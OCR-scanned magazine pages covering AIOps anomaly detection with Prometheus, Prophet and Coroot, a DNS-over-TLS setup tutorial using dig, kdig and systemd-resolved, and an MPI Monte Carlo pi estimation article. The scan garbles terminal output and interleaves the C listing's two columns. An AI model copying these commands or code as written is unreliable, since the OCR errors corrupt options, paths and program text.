data (Figure 1). The design was
relatively simple at the time: Pro-
metheus, or more specifically its
clustered form, Thanos, was used
as the central element. Because
Prometheus is really bad at stor-
ing long-term data, the setup was
expanded to include Ceph, where
the long-term data from Prometheus
was moved. A setup comprising

the Prophet and Fourier machine
learning models then analyzed the
long-term data and connected with
Prometheus.

Prophet is a prediction environment
developed by Facebook, whereas
Fourier analyzes frequency informa-
tion from traffic data streams and
correlates the data with various ad-
ditional environmental variables. The
combination of Fourier and Prophet
proved its value in this proof of con-
cept. Feeding Prophet patterns of at-
tacks that had taken place in the past
meant that it gradually gained the
ability to detect suspicious develop-
ments in the current data stream in
just seconds.

Field tests show that a few seconds
of unusual traffic are enough to pre-
dict an imminent attack with a high
degree of reliability. Anyone who
still claims that an attack can only
be “predicted” once it is underway
is wrong. The extremely practical
combination of Fourier and Prophet
not only identified the clear data
patterns of attacks that had already
begun but were also able to identify
preparatory work (e.g., connec-
tions opened for reconnaissance

of the environment) on the basis

of various details of the individual
connections.

Don’t forget that Prometheus itself
has a complete and well-maintained

Predicted metric value

Anomaly

+ Original metric value

|
=

Figure 1: The use of Al in the operations environment is by no means new. Red Hat first
showcased a setup in 2019 that automatically detected anomalies in network traffic. © Red Hat
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Figure 2: Red Hat's Prometheus Anomaly Detector [2] comes with a model that can be trained with existing attack data, giving it
superior attack detection capabilities. © Red Hat

alerting engine. By notifying admins
of impending attacks, the sample
setup makes it possible to prevent
the the attacks by reconfiguring the
network and firewall (Figure 2).
Corporate-speak around AIOps almost
invariably means this specific form

of machine learning from connection
metadata. As IBM puts it in marketing
jargon for Red Hat: AIOps is DevOps
with big data.

Complete Portfolio

Of course, IBM would not be IBM if

it did not also have a comprehensive
portfolio of solutions for the Linux
sector under the Red Hat brand. The
product flyer reads a bit like some-
thing out of a future novel. In the fu-
ture, it claims, AI will help nip attacks
in the bud, automatically restore
systems in the event of malfunctions,

facilitate scalability, and, as a side ef-
fect, drive innovation in areas where
staff are currently working on boring
everyday tasks.

True to its own DNA, Red Hat primar-
ily relies on open source components
such as Llama 2 (large language
model Meta Al), a machine learning
model developed by Facebook parent
company Meta, for which Prophet
was in some ways a preparatory task.

Overview
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Figure 3: Coroot is based on eBPF, the successor to the Berkeley Packet Filter filtering mechanism in Linux, and is used in container
environments to intercept network traffic for direct analysis at the Linux kernel level. © Coroot
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It provides an entire toolchain for

Al and machine learning, including
an open API for general availability.
Facebook obviously wants to be por-
trayed as one of the good guys in the
world.

However, Red Hat doesn’t want to
bet its money on just one horse and
is also touting Thoth as an alterna-
tive, flanked by Project Wisdom,
which can already be connected

to Red Hat’s Ansible automation
platform. This pairing is geared to
handle administrative tasks with Al
under the Ansible Lightspeed moni-
ker. Red Hat is also a member of the
Al Center of Excellence (AICoE), an
industry consortium that promotes
the use of Al and demonstrates it
with practical proofs of concept.
The example I mentioned, with Pro-
metheus and Prophet, for example,
was implemented by Red Hat in the
scope of the AICOE.

One thing then is clear: Red Hat is
throwing cash at the subject, and
AlOps is a long-term project and
not a flash in the pan. That said,
apart from a few successful proofs
of concept, the Red Hatters have not
yet delivered anything significant in
terms concrete results.

AlOps NUTS AND BOLTS .

Coroot with Al Analysis

An observability tool out of the Co-
root project (Figure 3) demonstrates
how artificial intelligence can be
used in practical applications now.
Observability has many definitions,
but most administrators understand
the term to mean a combination of
monitoring, alerting, trending, and
log aggregation.

In contrast to other solutions, Co-
root relies on the principle of zero
instrumentation, which means ad-
ministrators do not have to prepare
their systems in any special way or
install special software to use Coroot.
Instead, the tool docks directly onto
the Linux kernel, connecting to eBPF,
an environment for running special
virtual machines that provide spe-
cific functions in the network stack.
Which functions are primarily up to
the admin’s imagination.

Coroot relies on this principle to
analyze and evaluate data streams at
the kernel level. It filters out the rel-
evant data according to the admin’s
specifications and sends the data to
a central Coroot instance, where all
data streams converge. Particularly
practical is that Coroot comes with

a number of pre-configured virtual
machines for eBPF out of the box,
helping it cover a massive zoo of
services on the target systems.

Once the central Coroot instance has
collected its observability data, the
data is not just stored safely some-
where on the local network; instead,
Coroot uses machine learning models
to detect anomalies in the data and
identify their causes. According to the
authors of the software, this feature
is a central aspect of Coroot develop-
ment. The tool is also said to make

it significantly easier to identify the
causes of failure, which includes out-
ages that occur as a result of DDoS
attacks, for example.

The software’s approach is not compli-
cated. A service level objective (SLO),
which can be defined as required,
provides the underpinnings by defin-
ing the valid parameters in assembler.
Any deviation constitutes an anomaly
and therefore an event that requires
notification. Coroot then continuously
feeds the machine language algo-
rithm defined in this way live data
from a setup (Figure 4). As training
progresses, it adapts its alerts in an
increasingly granular way to reflect the
environment’s local conditions.

® load-test

Figure 4: Because Coroot is aware of the entire network topology of an environment, it can record it completely in just a few seconds to

create a virtual network map. © Coroot
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A concrete strength of AI models is
that they can be trained on site and

in the specific customer setup. They
can respond to local characteristics in
a targeted way. It is clear that, when

it comes to detecting anomalies in its
services, a large service provider has
requirements different from a medium-
sized IT service provider. Mapping
with conventional methods would

not serve either environment. Al-sup-
ported machine learning models adapt
to these subtleties without any further
intervention by the admin (Figure 5).
The only present drawback with
Coroot is that the tool currently only
targets popular container setups that
are based on Kubernetes. Although it
comes with all the tools you need and
can quickly be put into operation, the
Al functions, which are likely to be
of particular interest to many com-
panies, are currently only available
in the hosted Coroot Cloud version,
so all of the provider’s claims that
Coroot is 100 percent free software
ring hollow. This infamous open core

AlOps

principle makes the central engine
available under a free license but
keeps the really interesting additional
functions under a proprietary license.

Improvement for the Worse?

Apart from the functions described
with regard to specific setups, unlike
training spam filters, AIOps can gen-
erate new knowledge with the right
combination of input data and algo-
rithm. Legacy spam filters will not
normally recognize fresh spam mail if
the message cleverly combines vari-
ous elements of previous approaches
to create something new. Machine
learning is far smarter and can use
existing data from previous attacks to
identify new attack patterns without
prior training, from which it then
generates alerts. This ability takes

the sting out of the criticism raised
by many admins that AIOps will not
catch on because this kind of automa-
tion has regularly done more harm
than good in the past.

The classis automated reactions quite
rightly meet with ridicule in produc-
tion operations. However, AIOps
with correctly constructed machine
learning algorithms are vastly supe-
rior to legacy heuristics or even plain
command processing when certain
events occur. In the long term, these
algorithms will become an indispens-
able everyday tool for administrators
looking to maintain control over
constantly growing setups, and they
will gradually assume some of the
individual tasks currently handled by
administrators, just as automation is
already doing.

The Times, They Are
A-Changing

Most approaches to AIOps are still in
their infancy and are not yet ready
for production. On the one hand, this
situation seems unlikely to change
overnight. On the other hand, the
widespread use of Al in the corporate
landscape does not automatically
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Figure 5: Coroot uses acquired metrics data in Al models as a basis for identifying future attack patterns through appropriately trained

machine language models. © Coroot
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translate to job losses - especially not
in an industry that is currently strug-
gling with the exact opposite — a mas-
sive shortage of skilled workers.
Simple everyday operations tasks will
undoubtedly be taken over gradually
by cleverly developed Al models. In
many places, however, this develop-
ment will probably only mean that
the specialist departments will then
be able to re-deploy the staff previ-
ously involved in everyday tasks to
areas where new features are created,
which in turn will help drive compa-
nies forward in an innovative way.

Of course, the use of AIOps also re-
quires a certain willingness to change
on the part of the staff. In IT, more than
in almost any other industry, the princi-
ple has always applied that you have to
move with the times if you don’t want
to be removed at some time. AIOps will
therefore only be problematic in the
long term for admins who do not want
to hand over their basic day-to-day
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operational tasks. Everyone else is
likely to find more rewarding activities
in the long term, even if these “only”
consist of keeping the infrastructure
required for Al running.

Conclusions

Even if you find the current hype sur-
rounding artificial intelligence discon-
certing, you will ultimately find it dif-
ficult to ignore AI completely. At the
moment, AIOps might primarily be

a fixed idea in the marketing depart-
ments of major manufacturers, but

it does seem inevitable that machine
learning models will change day-to-
day operations - in IT companies in
particular.

Ready-made proof-of-concept imple-
mentations have been around for a
long while, and manufacturers such
as IBM are already aggressively offer-
ing their extensive range of Al tools.
Solutions such as Coroot show in a
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very practical way what is already
operationally possible with Al and
big data in today’s data center. If
you put aside your angst for a while
and try not to view Al as primarily

a threat to your job, you can see op-
portunities for innovation and cool
technology with a massive amount
of potential. [ |
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Encrypted DNS over TLS

ncrypting' DNS traffic on Linux with DoT

Prevent attackers from spying on DNS communication or manipulating responses by encrypting your
DNS traffic on Linux with the DNS-over-TLS standard and the help of systemd-resolved. sy Thorsten Scherf

DNS over HTTPS (DoH) is an estab-
lished, practical method of Domain
Name System (DNS) encryption [1].
The standard, which dates back to
2018, encrypts DNS traffic within the
HTTPS protocol, which means DNS
traffic uses the same network port (tcp/
443) as HTTPS. As a result, admin-
istrators initially have no way of dis-
tinguishing between DNS and HTTPS
traffic. The standard is now supported
by most web browsers, as well as Win-
dows 11, and a number of public DNS
servers also speak this protocol [2].
DNS over TLS (DoT) was standard-
ized two years earlier in RFC 7858
[3]. As the name suggests, the DNS
traffic is encrypted directly above

the User Datagram Protocol (UDP),
without needing another protocol in
the application layer, making it easier
for DNS providers to support this
standard because they don’t have to
implement the fairly complex HTTP
protocol on the DNS server. However,
as with HTTPS, a public key infra-
structure (PKI) is required; the DNS
server must offer an X.509 certificate

ADMIN 81

as soon as a client establishes a con-
nection with DoT to any server sup-
porting the standard.

DoT uses a dedicated network port
(tcp/853) so that, unlike DoH, it is
possible for administrators to identify
DNS traffic on the network and filter
it, if necessary.

Querying a Recursive DNS
Server

The DNS dig utility makes it easy to
formulate a manual query to a re-
cursive DNS server. The server then
takes care of providing a response
by sending the query to the DNS
server ultimately responsible for the
domain in question, starting with the
DNS root servers. To safeguard the
request with TLS, you can use the
+t1s-ca option when calling dig. In
the example here, I used the public
DNS server (1.1.1.1) operated by
provider Cloudflare [4]. In addition
to regular DNS on port 53, it also
supports the DoH and DoT proto-
cols. For example, the DNS query

for[it-administrator.dd resolves to
88.198.228.86. The additional infor-

mation also shows that the request
was made over a TLS channel.

Subject Alternative Name

You also need to use the +t1s-ca op-
tion to ensure that the DNS server’s
hostname matches the Subject Al-
ternative Name in the server’s X.509
certificate. This arrangement protects
you against adversary-in-the-middle
(AITM) attacks. If the hostname is
not identical, the TLS handshake
fails. You can easily simulate this
case by using the +t1s-hostname op-
tion in the dig-based DNS query and
quoting a hostname that matches the
DNS server’s hostname.

To verify the certificate chain, dig ei-
ther accesses the certificate file in the
PEM format you specified in the com-
mand with the +t1s-ca option or, if
you have not specified a file, via your
system’s standard certificate store.
You can easily find out where this is
if you run openssl as:
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openssl version -d
OPENSSLDIR: "/etc/pki/tls"

On a Fedora system, this direc-
tory contains a cert.pen file that,
in turn, contains a number of root
CA certificates for validating X.509
certificates. In this case, a call with
the +t1s-ca option is identical to
+t1s-ca=/etc/pki/tis/cert.pen. If
dig is unable to validate the cer-
tificate because of missing root CA
certificates, the query again fails in
this case:

dig @.1.1.1 2
+t1s-ca=/dev/null [it-administrator.de

3 TLS context cannot be created

The kdig tool from the knot-utils
package belonging to the Knot DNS
server [5] also lets you display the
DNS server’s certificate chain in full,
which can be helpful for trouble-
shooting if you are having problems
with the TLS handshake. Figure 1

Encrypted DNS over TLS

shows how to call up the tool in de-
bug mode.

Setting Up a Local Resolver

To give the applications on your system
the ability to send DNS queries to a
recursive DNS server with DoT, you can
use a local resolver that supports this
standard; I am using systemd-resolved
here. Figure 2 shows an example of
how to configure systemd-resolved

on a specific interface for DoT. Don’t
forget to specify the DNS server in the
<IP>#<Server-Name> format, because it
enables the TLS Server Name Indica-
tion (SNI) extension to validate the DNS
server’s X.509 certificate. However, if
the DNS server does not support DoT,
all queries fail. In this case, you can use
“opportunistic” DoT mode, but sys-
temd-resolved will not be able to verify
the server’s authenticity - giving you
protection against passive eavesdroppers
on the network but not active attackers
who manipulate the DNS traffic.

root@kvm-95-guestds ~]# kdig -d #1.1.1.1 +tls-ca it-administrator.de
DEBUG: Querying for owner(it-administrator.de.), class(l), type(l), server(1.1.1.1), port(833), protocol(TCP)
DEBUG TLS, imported 349 system certificates

DEBUG: TLS, received certificate hierarchy
; DEBUG: #1, C=US,5T=Califormia,L=San Francisco,
: DEBUG SHA-256 PIN: GPEKnT7qBas+alfythy

DEBUG #2, C=US,0=DigiCert Inc.CN=DigiCert TLS Hybrid

o=Cloudflare
BYnL ¢ yowanyel g=
ECC SHAZB4 2028 CAl

<. CN=cloudflazre-dns.com
Ry

DEBUG SHA-256 PIN: e®IRzST103GA1XsdfUVWRH1xHD1HIdMbYECES ki [dgMs

DEBUG: TLS, skipping certificate PIN check
; DEBUG: TLS, The certificate is trusted

: TLS session (TLS1.3)- (ECDHE-X25519)- (ECDSA-SECP256R1-SHA256) - (AES-256-GCM)

+ -*>HEADER<<- opcode: QUERY, status. WOERROR; 1id: 37725
AUTHORITY: @, ADDITIOMAL: 1

Flags: qr rd ra; QUERY: 1; ANSWER: 1

. EDNS PSEUDOSECTION
: Version: &; flags
: PADDING: 409 B

: QUESTION SECTION
: it-administrator.de N A

ANSWER SECTION
-administrator.de 7200 IN A

Received 468 B
. Time 2023-18-20 B6:40:36 EDT
; From 1.1.1.1@853(TLS) in 192.0 ms
Tootekvm-05-guestes ~]# _

: UDP size: 1232 B; ext-rcode: NOERROR

88.198 228 86

Figure 1: If required, kdig displays the DNS server’s full certificate chain.

[root@kvm-0@5-guestes ~]#
[rootekvm-@5-questos ~|&#

[root@kvm-@5-guest@6 ~]# resolvectl dns ens3 1.1.1.1%one,one.one.one
[root@ékvm-05-questd6 ~]# resolvectl dnsovertls ens3 true
[rootekvm-@5-guestd6 ~]# resolvectl domain ens3 example.com

[root@kvm-@5-questdd ~]| &

[root@kvm-0@5-guestd6 ~]# resolvectl status ens3

Link 2 (ens3)
Lurrent Scopes: DNS LLMNR/IPv4 LLMNR/IPvE

Protocols: +DefaultRoute LLMNR=resolve

DNS Servers: 1.1.1.1l#one.one.one.one

DNS Domain: example. com
[root@kvm-05-guestds ~]#
[root@kvm-@5-guestes ~]# _

mDNS +DNSOverTLS DNSSEC=no/unsupported

Figure 2: You can configure the local DNS resolver very easily withresolvect1 and, in
doing so, enable DNS over TLS on individual interfaces.
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Deploying DoT Globally

If you want to enable DoT on more
than a single interface, you can adjust
the global settings for the service in
the resolved. conf file:

grep -v '*#' /etc/systemd/resolved.conf
[Resolve]

DNS=1.1.1.1#one.one.one.one
DNSOverTLS=yes

Then, restart the service with
systemct] restart systemd-resolved

after making the changes.

Conclusions

The DoT standard supports encrypted
communication on a DNS server

over a dedicated network port. You
can also ensure the authenticity of

a server with the help of the X.509
certificate. To give applications on

a system secure access to a DNS
server, the local resolver also needs
to support this standard. On Linux,
the systemd-resolved service is the
ideal choice for this job, because it is
included in the software repositories
of the vast majority of popular dis-
tributions and lets you configure the
services easily. [ |

Info

[1] RFC 8484: [https://datatracker.ietf.org]
Hoc/htmi/rfc8484]

[2] Public DNS servers with DoH support:
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[31 RFC 7858: [https://datatracker.ietf.org/
Hoc/htmi/rfc7858]
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In a previous article, I examined the
basics of parallel programming [11,
including key terms such as speedup,
defining the ratio between the original,
single-threaded implementation and
the faster parallel version. Amdahl’s
Law [2] critically observes that you
can parallelize only part of an applica-
tion, which caps the speedup ratio in
most programs - and should make you
raise an eyebrow in Vulcan fashion
when promised double-digit speedups
like 10x by a vendor who has yet to
see your code. Accomplishing a 10x
speedup requires that 90 percent of the
execution time be parallelized.

The span of your code’s critical section
therefore determines how much the
application can actually be accelerated:
If one minute of a 20-minute process is
single threaded, the maximum speedup
theoretically possible is 20x because
only 95 percent of the algorithm can
execute in parallel (compute the frac-
tion 1/20 from that 5% number).

That limitation led to a search for

Embarrassingly Parallel Algorithms

Performance Tuning Doj

embarrassingly parallel algorithms,
characterized by minimal critical sec-
tions and with well-known designs al-
ready architected (see the “Embarrass-
ingly Parallel Algorithms” box).

Monte Carlo

A family of well-known embarrass-
ingly parallel algorithms known as the
Monte Carlo method [4] are usually
credited to the mathematician Stani-
slaw Ulam, who defined a statistical
approach to approximate numerically,
quantities that could not be calculated
analytically during the development
of the atomic bomb at the Manhat-
tan Project. Statistical computation
strategies required large sets of good
random numbers, something not read-
ily available at the time, resulting in
some interesting publications from the
RAND Corporation and others: entire
volumes full of random numbers [5]
(see the Amazon reviews of this tome
for some truly good laughs!). In the

Embarrassingly parallel computation

Playing
Roulette

Determine pi by throwing darts. sy rederico Lucifredi

1940s, Ulam determined that he could
recognize skew from poor randomness
and possibly account for it, a problem
you no longer need to consider with
cryptographic-grade randomness gen-
erally available to any well-initialized
computer code.

The essence of the Monte Carlo strat-
egy is random sampling of the prob-
lem space and calculating a result at
those randomly chosen points. You
could think of a dartboard (call it a
perfect circle) and the wall behind it
as the target of your attention. With
enough sampling (i.e., throwing
darts), you could arrive at a reason-
able approximation of pi just by
counting the number of darts that hit
the board or the wall. In fact, in this
article I am doing just that.

Throwing Darts

The experimental setup is described
by a circle bound by a square tan-
gent to it (Figure 1). To simplify

M numerical integration - by slice
H Monte Carlo methods - by sample
H the Mandelbrot set - by function point

M genetic algorithms - by genotype
M convolutional neural networks - by filter
B computer simulation - by scenario

An algorithm is considered “embarrassingly parallel” [3] where no
design effort is required to partition the problem into completely
separate parts. If no data dependency exists between the problem
sub-parts, no communication coordination (and corresponding compu-
tational stall) ever takes place, making the problem trivial to partition.
0f course, there is nothing embarrassing about using these algorithms -
quite the contrary, it is the hallmark of good architecture. Some ex-
amples of algorithms in this class are, among many other examples:

M ray tracing or other computer graphics rendering - by frame or ray

Choosing an efficient parallel algorithm is essential to achieving good
return on your hardware or computer time investment.

the curve.
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Figure 1: Approximating pi by numerical sampling of the area under
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calculations, because the code will
have to perform literally billions of
times, the circular segment bound
between the axes has a radius one
unit of length, and the square enclos-
ing it also has a side of length one.
Sampling is done by selecting a point
in the square, and the test is whether
the sample falls within, or outside
of, the circle (Figure 2). A uniform
random distribution is assumed (and
required) for the algorithm to deter-
mine pi successfully by comparing
the number of samples falling inside
and outside of the circle.

The Oak Ridge National Laboratory
hosts a number of excellent parallel
programming tutorials at its Leader-
ship Computing Facility, including
one demonstrating the Monte Carlo
method in both serial and parallel
implementations [6]. I used the sec-
ond example (mpiPI.c) to test the ap-
proach [7] and compiled with

mpicc mpiPI.c -0 mpiPI -Im

Take the time to study the code in List-
ing 1to understand its operation and
the basics of the MPI interface [8].
Note how the code multiplies the
numerical result by four (line 84) to
account for the difference introduced
by a quarter-size circular segment.

I use this example when teaching
introductory parallel computing with
Raspberry Pi clusters [9] [10], and

it is easy to prepare different builds
to throw different numbers of virtual

Performance Tuning Dojo

One final consideration is that a 64-bit
operating system makes life easier.
Because numerical sampling code iter-
ates counting samples, it is trivial to
underflow the 4-billion range of a 32-
bit integer data type, which will wrap
around to zero after 4,294,967,295. On
a 12-core Raspberry Pi 4 cluster, simple
numerical integration can underflow a
32-bit data type in about a minute.

Compile and Compute

I tested on my home-built 44-core

“Shockwave” Xeon Broadwell com-
pute server (Figure 3) [11]. Depen-
dancies for this

resulting in a brief burst of computa-
tion on cores 0, 1, and 6 (Figure 4)
and an approximation of pi (purely
out of randomness and geometry) to
3.139, computed in just half a second
(Figure 5). Executing the same test
with a 44-million sample test,

time mpiexec -n 44 mpiPI-44M

took about three seconds in real time
and produced two more accurate dig-
its, refining the pi estimate to 3.1411.
The non-linear scaling demonstrated
on these short time scales is due to
initialization overheads.

code on Ubuntu
22.04 are easily
sourced:

sudo apt install 2
openmpi-bin 2
openmpi-common 2
opennpi-doc 2
libopenmpi-dev

The code as
listed runs 1 mil-
lion iterations,
which I can
launch over two
Xeon Broadwell
cores,

mpiexec -n 2 mpiPI
[ Terminal

ol
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darts by changing the niter variable
ﬂine 9) Pi: 3.138836

Pi: 3.139224

5 mpiexec -n 44 mpiPI

5 mplexec -n 2 mplPI

s

Federico@shockwave: ~

oooo
[T |

co

e

Figure 2: Throwing virtual darts to
determine pi by counting how many land
inside the circle.

12:44:12 1000ns

Figure 4: btop [12] visualizing CPU core activations.
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Listing 1: Modified mpiPI.c

01 #include <stdio.h> 47 MPI_LONG,
02 #include <stdlib.h> 48 9,
63 #include "mpi.h" 19 2,
04 #include <math.h> ) HPT_COMM_WORLD);
05 #define SEED 35791246 ] 3
% 52 3
2; ;nt main(int argc, char* argv[]) = else if (ayid = )
09 long niter = 1000000000; ii : for(=0; i<nodenun; ++1)
18 int myid; //holds process's rank id o (
11 double Xx,y; //x,y value for the random coordinate
" It is 57 MPI_Recv(&recieved[i],
13 long count=0; //Count holds all the number of hou o nodenu,
many good coordinates v "PLLOG,
14 double z; //Used to check if x"2+y"2<=1 o MPL_ANY_S0URCE,
15 double pi; //holds approx value of pi ‘! .
I int nodenun; 62 MPI_COMM_WORLD,
17 63 MPI_STATUS_IGNORE);
18 NPLInit(8arge, 8argv); //start WP o PL Recu(Grecuniter(i],
19 WPL_Conm_rank(NPL_COMM_WORLD, &nyid); //get rank of node's process nodenu,
20 MPI_Comm_size(MPI_COMM_WORLD, &nodenum); % HP1_LONG,
21 long recieved[nodenun]; o AN
22 long recvniter[nodenun]; 4 2
23 srand(SEED+myid); //Give rand() a seed value. ) L (B IR,
Needs to be different on each node 7 HPI_3TATUS_TGNORE);
24 71 3
25 if(nyid I= 8) 7
26 { 73
27 for (i=0; i<niter; ++i) //main Toop e g e ) /11f root process
28 { 75 {
29 x= ((double)rand())/RAND_MAX; //gets a random x coordinate 76 Tong finalcount = ;
30 y =((double)rand())/RAND_MAX;  //gets a random y coordinate 7 long finalniter = 8;
31 Z = sqrt(x*x+y*y); //Checks to see if number in 78 for(i = 8; i<nodenun; ++i)
inside unit circle 79 {
32 if (2¢=1) 80 finalcount += recieved[i];
33 { 81 finalniter += recvniter[il;
34 count++; //if it is, consider it a valid 82 3
random point 83
35 } 84 pi = ((double)finalcount/(double)finalniter)*4.0;
36 } //p = 4(n/n)
37 for(i=8; i<nodenum; ++i) 85 printf("Pi: %f\n", pi); //Print the calculated value
38 { of pi
39 MPI_Send(&count, 86 //printf("finalcount: %1d, finalniter: %1d\n", finalcount,
40 1, finalniter);
41 MPI_LONG, 87
12 8, 8 3
13 1, 89
44 MPI_COMM_WORLD); 90 MPI_Finalize(); //Close the MPI instance
45 MPI_Send(&niter, 91 return 8;
46 1, 92 }
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I wrap the experiment with a 1-billion
sample run, also on 44 cores. This
test properly exercised the machine

Performance Tuning Dojo

completed 10 seconds faster than you
would have expected from the 44-mil-
lion sample test because the effect of

NUTS AND BOLTS

[https://www.admin-magazine.com/|
Irchive/2021/61/Planning-Performance]
Without-Running-Binaries]

(Figure 6), loading it to capacity for initialization is diluted. m  [2] Amdahl's Law: [https://webhome.ph
right under one minute while adding duke.edu/~rgb/Beowulf/beowulf book/]
a significant digit to the approximated Info beowulf book/node21.htm|]

value (3.1415). Not bad for throwing [1]
darts for a few minutes! Take note of
the superlinear scaling: The process

“Planning Performance Without Running [3]
Binaries" by Federico Lucifredi, ADMIN,

issue 61, 2021,[pa. 94:

Embarrassingly parallel algorithms:
[https://en.wikipedia.org/wiki/
Embarrassingly paralle|]

[4]1 Metropolis, N., and S. Ulam. The
Monte Carlo method. Journal of the
American Statistical Association, Sep.
1949;44(247):335-341, [https://people]
bordeaux.inria.fr/pierre.delmoral/|

etropolisUlam49.pdf]

[51 RAND Corporation. A Million Random
Digits with 100,000 Normal Deviates.
RAND Corporation monograph series
MR-1418-RC, 1955, 628 pp.:
[https://www.rand.org/pubs/monograph |
reports/MR1418.htmi]

[6] Oak Ridge OLCF GitHub repository:
[https://qithub.com/olcf/Serial-to]
Parallel--Monte-Carlo-P]]

[71 Serial to Parallel: Monte Carlo Operation:
[https://www.olcf.ornl.gov/tutorials]
monte-carlo-pifl

[81 The Message Passing Interface (MPI):
[https://www.mpi-forum.org/docs]

[91 *“Building Raspberry Pi Supercomput-
ers” by Federico Lucifredi,[Cinux.conf]
2021: [pttps://sysadmin.miniconf.org/
021/Ica2021-Federico_Lucifredi-Build{
ing_a Raspberry Pi Supercomputer.pdfl

[101 Federico Lucifredi talks about Parallel

Computation, RackN Distance DevOps:

[https://www.youtube.com/watch?

y=U_mSPrT-ZJs]

“An Army of Xeon Cores To Do Your Bid-

ding" by Federico Lucifredi, ADMIN, issue

79, 2024pa. 93:

[https://www.admin-magazine.com/|

Mrchive/2024/79/An-army-of-Xeon{

kores-to-do-your-bidding]

[12] btop, Jakob P. Liljenberg:

[https://qithub.com/aristocratos/btop]|

[E] Terminal

Federico@shockwave: ~/Desktop

S mplexec -n 44 mpiPI

S mpi c -n 2 mpiPl

c -n 2 mplPI

API-44M -1m
mpiPI-44M
Pl: 3.141167

federico@shockwave: ~

Figure 5: A run testing 44 million samples over 44 cores took 3.2 seconds. Real time of the
1-million sample test was half a second.

o mpiPI-18 -Lm

plPI-18 [11]

federico@shoc
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2000ms

Figure 6: Superlinear scaling in the 1-billion sample test. Note full load on all cores.
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